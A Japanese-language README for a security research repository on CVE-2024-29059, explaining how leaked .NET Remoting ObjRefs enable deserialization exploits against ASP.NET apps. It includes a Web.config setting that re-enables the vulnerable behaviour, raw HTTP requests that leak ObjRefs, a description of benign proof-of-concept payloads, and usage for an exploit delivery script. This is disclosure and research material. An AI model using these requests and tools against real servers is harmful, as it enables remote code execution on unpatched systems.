
追加リソース: HTTP .NET Remotingを介したObjRefsの漏洩・悪用 (CVE-2024-29059)
ObjRef の漏洩と悪用 (CVE-2024-29059)このリポジトリは、同じタイトルのCODE WHITEブログ記事 Leaking ObjRefs to Exploit HTTP .NET Remoting に関するさらなる詳細とリソースを提供します:
ObjRef リークの検出TypeFilterLevel.Low の制限下で動作するデシリアライゼーションペイロードの例以下は、Microsoft による Configure Application Insights for your ASP.NET website に基づいており、Visual Studio 2019(.NET Framework 4.5.2 を対象とするために必要です。https://aka.ms/vs/16/release/vs_community.exe から今でもダウンロードできます)と Microsoft Application Insights を使用して脆弱な ASP.NET Web アプリケーションを作成する方法を説明しています:
2024年1月の .NET Framework 更新プログラムがインストールされている場合は、Web.config ファイルを開き、/configuration/appSettings の下に次の項目を追加して、脆弱な動作を再度有効にします:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
その後、デバッグ > デバッグなしで開始 を使用するか、Ctrl+F5 を押して Web アプリケーションを実行できます。
ObjRef リークの検出以下のリクエストを使用して、LogicalCallContext に格納されている MarshalByRefObject インスタンスの ObjRef をリークさせることができます:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
リークした ObjRef URI は、次の正規表現を使用してマッチングできます:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
TypeFilterLevel.Low によって引き起こされる制限下で動作するカスタム XAML ペイロードを使用して、YSoSerial.Net の TextFormattingRunProperties ガジェット に基づいた 2 つの単純なデシリアライゼーションペイロードを作成し、次の操作を実行します:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"HTTP ヘッダーは、HTTP .NET Remoting リクエストに対するサーバーの応答で確認できます。
RemoteApplicationMetadata.py スクリプトは、既存の ObjRef をリークし、その後のリクエストでそれを使用して指定されたペイロードを配信する方法を提供します:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
例:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v